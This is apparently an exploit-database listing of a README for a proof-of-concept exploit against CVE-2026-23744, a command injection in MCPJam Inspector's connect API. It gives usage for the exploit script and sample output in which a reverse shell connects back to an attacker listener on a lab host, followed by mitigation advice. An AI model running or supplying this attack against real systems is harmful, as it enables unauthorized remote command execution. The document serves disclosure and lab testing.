Exploit for Missing Authentication for Critical Function in Mcpjam Inspector

## https://sploitus.com/exploit?id=B455531B-9872-5283-8184-3145D7BBA66E
# CVE-2026-23744-PoC

## **Disclaimer:**  
This proof-of-concept is provided **exclusively** for authorised security research, educational purposes, and controlled lab environments (e.g., HTB, CTF, or internal penetration testing with explicit written consent). Unauthorised use against any system without permission is illegal and unethical. The author assumes no liability for misuse; users are solely responsible for complying with all applicable laws and regulations.

---

## Description

**CVE-2026-23744** is an unauthenticated command injection vulnerability in MCPJam Inspector (version ≤ 1.4.2).  
The `/api/mcp/connect` endpoint accepts a JSON payload with `serverConfig.command` and `serverConfig.args` and passes them directly to a system process spawn without any sanitisation. An attacker can send a crafted request to execute arbitrary system commands, gaining a reverse shell with the privileges of the service user.

This repository contains a full working exploit script with an **optional automatic PTY‑based interactive listener** (enabled by default).

---

## Requirements

- Python 3.6+
- `requests` library (`pip install requests`)

---

## Usage

**Important:** Provide only the hostname or IP. The script automatically adds `http://` or `https://`

```bash
python3 exploit.py -t  -l  [-r ] [--ssl] [--check-only]
```

| Option | Description |
|--------|-------------|
| `-t, --target` | Target hostname or IP (required) |
| `-p, --port`   | Target port (default: 6274) |
| `-l, --lhost`  | Your IP for the reverse shell (required) |
| `-r, --lport`  | Your listener port (default: 4444) |
| `--ssl`        | Use HTTPS instead of HTTP |
| `--check-only` | Only check vulnerability, don't send shell |

---

### Example

The script starts its own listener and gives you a shell directly in your terminal.

```bash
python3 exploit.py -t  -l  -r 
```


## Proof of Concept (Successful Run)

```text
$ python3 exploit.py -t devhub.htb -l 10.10.14.111 -r 4444
[*] Target URL: http://devhub.htb:6274/api/mcp/connect
[*] Checking target...
[+] Target responded with 400 – appears vulnerable
[*] Sending exploit payload...
[+] ReadTimeout – shell likely spawned!
[*] Payload sent. Check your listener!

# On your listener:
connect to [10.10.14.111] from (UNKNOWN) [10.129.245.216] 54150
mcp-dev@devhub:/opt/mcpjam$ id
uid=1001(mcp-dev) gid=1001(mcp-dev) groups=1001(mcp-dev)
```

---

## Mitigation

- Sanitise all user‑supplied arguments passed to process‑spawning functions.
- Do not allow arbitrary command execution via API endpoints without strict whitelisting and authentication.
- Run services with the least privileges – never as `root`.

---

## License

This repository is for educational and authorised testing purposes only. Use at your own risk.

**Author:** amao26  
**Date:** August 2026